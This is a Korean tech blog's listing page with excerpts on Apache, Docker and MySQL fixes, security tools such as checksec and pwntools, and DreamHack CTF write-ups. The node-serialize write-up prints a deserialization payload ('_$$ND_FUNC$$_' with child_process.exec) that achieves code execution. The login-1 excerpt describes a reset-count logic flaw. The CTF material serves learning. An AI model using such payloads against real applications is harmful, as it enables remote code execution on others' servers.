본문 바로가기
  • Tried. Failed. Logged.
728x90

분류 전체보기720

아파치 - 도메인으로만 접속 허용하게(ip는 차단) /etc/apache2/apache2.conf #도메인 접속 DocumentRoot "/var/www/html" ServerName mydomain.com #ip접속 DocumentRoot "/var/www/invalid" 출처: https://kldp.org/node/154891 Apache 도메인으로만 접속 되게끔 할려고 합니다 (IP 접속은 차단) | KLDP 안녕하세요. 제가 사용하는 환경은 Apache-Weblogic으로 구성되었고, vhosts로 도메인을 약 200개 정도 사용중입니다. IP를 통한 접속은 차단, 도메인을 통한 접속은 허용할려고 하는데, Apache에서 관련 kldp.org https://feelcorp.tistory.com/entry/apache-%EB%8F%84%EB%A9%.. 2023. 4. 3.
아파치 - 특정 확장자 외부 접속 금지하기(.htaccess) 금지할 폴더에 .htaccess 생성 .txt 확장자 접속 금지 deny from all 여러 가지 확장자 접속 금지 Deny from all /etc/apache2/apache2.conf 수정 Options FollowSymLinks AllowOverride all # 이부분 수정 2023. 3. 31.
아파치 - .php 확장자 없이 URL 접속하기 vim /etc/apache2apache2.conf Options FollowSymLinks MultiViews AddType application/x-httpd-php .php .jsp Require all granted AllowOverride FileInfo sudo service apache2 restart 출처: http://www.dreamy.pe.kr/zbxe/CodeClip/3770316 [PHP] .php 확장자 없이 URL 접속하기 https://mitny.github.io/articles/2018-02/url-without-php-extension Accessing url without .php extension환경: Ubuntu 16.04 LTSphp나 다른 언어로 페이지를 만들었을.. 2023. 3. 31.
Docker - 실행중인 컨테이너 포트 바인딩하기 & DNS 서버 주소 설정 1. 실행 중인 컨테이너 이미지화 docker commit [container id] [imageName]:[tagName] 2. 이미지화한 컨테이너를 run 하면서 포트 바인딩 설정 docker run -it -p [외부port]:[컨테이너 내부port] --name [컨테이너 이름] [image id] /bin/bash #. run 하면서 DNS 서버 주소 설정 docker run --dns="8.8.8.8" 출처: http://blog.jaeil.wiki/docker-dns-setting/ Docker 에서 DNS 설정 방법 셸에서 docker 명령어 실행 시 inline 으로 인자 전달 docker run --dns="8.8.8.8" docker-compose.yaml 에 dns config 정의.. 2023. 3. 31.
MySQL - 도커에서 MySQL 서버에 접속이 안되는 경우[ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (13)] 로컬 MySQL 서버 접속을 위한 /var/run/mysqld/mysqld.sock에 접근이 안된다는 오류 메시지 이유는 mysqld 폴더 주인 외엔 아무도 접근이 안되기 때문임  chmod 755 /var/run/mysqld폴더 접근 권한을 755로 설정 2023. 3. 31.
아파치 - 도커에서 /var/log/apache2에 에러 로그(error.log)가 안나오는 경우 vim /etc/apache2/apache2.conf 위의 내용을 아래로 수정 Errorlog ${APACHE_LOG_DIR}/error.log 2023. 3. 30.
아파치 - 파이썬 패키지 pip로 설치 sudo mkdir /var/www/.local sudo mkdir /var/www/.cache sudo chown www-data.www-data /var/www/.local sudo chown www-data.www-data /var/www/.cache sudo -H -u www-data pip install CoolProp www-data로 /bin/sh 연결 sudo su www-data -s /bin/sh 출처: https://stackoverflow.com/questions/39471295/how-to-install-python-package-for-global-use-by-all-users-incl-www-data How to install Python Package for global us.. 2023. 3. 29.
DreamHack - login-1 풀이 관리자 레벨 유저 아이디 찾기 http://host3.dreamhack.games:20947/user/1 = MAXRESETCOUNT: 이렇게 작성했으면 이런 취약점은 없었을 것. 서버 에러 500을 이용 신규 계정을 만들게 되면 resetCount 영역에는 NULL이 생기게 되면서 아래의 resetCount = resetCount + 1 구문에서 오류가 발생한다. 결국 리셋 카운트는 증가 못한 채 서버 측 에러(500)가 발생한다. updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?" cur.execute(updateSQL, (str(user['idx']))) msg = f"Wrong BackupCode ! Left Count : .. 2023. 3. 27.
웹후크(webhook) 사이트(requestcatcher.com, webhook.site) https://requestcatcher.com/ Request Catcher — record HTTP requests, webhooks, API calls Request Catcher will create a subdomain on which you can test an application. All requests sent to any path on the subdomain are forwarded to your browser in real time. requestcatcher.com https://webhook.site/ Webhook.site - Test, process and transform emails and HTTP requests This URL received over {{ appCon.. 2023. 3. 27.
DreamHack - node-serialize (nodejs 직렬화 취약점) 풀이 node-serialize 취약점 예시 var serialize = require('node-serialize'); var x = { rce : function(){ require('child_process').exec('echo serialize exploited!', function(error, stdout, stderr) { console.log(stdout) }); }(), } serialize.serialize(x); var y = '{"username": "guest", "country": "Korea", "exec": "_$$ND_FUNC$$_function(){ require(\'child_process\').exec(\'echo unserialize exploited!\', functio.. 2023. 3. 27.
리버싱 - 바이너리에 설정된 보호 기법 확인(checksec) checksec -f {파일} RELRO(RELocation Read-Only): Read-Only 권한 설정으로 Write 가능한지 여부 Stack Canary: Return Address Overwrite 여부 확인 Stack Canary는 카나리를 통해 스택 오버플로우를 감지한다. NX(No-eXecute): NX를 우회할 수 있는 가장 대표적인 방법은 ROP(Return Oriented Programming) NX(No-eXecute)는 쉘코드 실행을 방지한다. ASLR(Address Space Layout Randomization): 실행될 때마다 데이터 영역(스택, 힙, 라이브러리 등)의 주소를 랜덤으로 변경 Windows용 checksec https://github.com/Wenzel/che.. 2023. 3. 26.
시스템 보안 - pwntools pwntools는 리눅스 환경에서 실행 프로그램의 익스플로잇을 작성하도록 도움을 주는 파이썬 라이브러리이다. CTF에서도 유용하게 사용될 수 있다. pip 설치 명령어 python3 -m pip install --upgrade pwntools 사용 예제 >>> conn = remote('ftp.ubuntu.com',21) >>> conn.recvline() # doctest: +ELLIPSIS b'220 ...' >>> conn.send(b'USER anonymous\r\n') >>> conn.recvuntil(b' ', drop=True) b'331' >>> conn.recvline() b'Please specify the password.\r\n' >>> conn.close() nc(NetCat), .. 2023. 3. 25.
728x90